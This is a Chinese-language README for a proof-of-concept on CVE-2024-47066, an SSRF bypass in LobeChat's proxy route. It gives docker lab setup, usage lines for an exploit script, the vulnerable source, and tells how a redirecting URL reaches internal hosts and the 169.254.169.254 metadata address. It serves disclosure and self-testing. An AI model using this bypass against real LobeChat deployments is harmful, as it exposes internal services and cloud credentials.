★ CVE-2024-47066 LobeChat SSRF PoC ★
CVE-2024-47066:Lobe Chat 是一个开源的人工智能聊天框架。在 1.19.13 版本之前,src/app/api/proxy/route.ts 中实现的服务器端请求伪造保护未考虑重定向,当攻击者提供外部的恶意 URL 重定向到内部资源(如私有网络或回环地址)时,可被绕过。1.19.13 版本包含了针对该问题的改进修复。
报告者:a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(外部) LobeChat --> SSRF 攻击 --> (内部) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
在第26行下方,没有判断重定向响应的地方。因此,使用 URL 缩短器时,可以轻松绕过 isPrivate() 函数。
向 http://169.254.169.254 发起请求
本仓库并非针对 CVE-2024-47066 的 SSRF 利用工具。此项目的目的是帮助人们了解该漏洞,并可能测试他们自己的应用程序。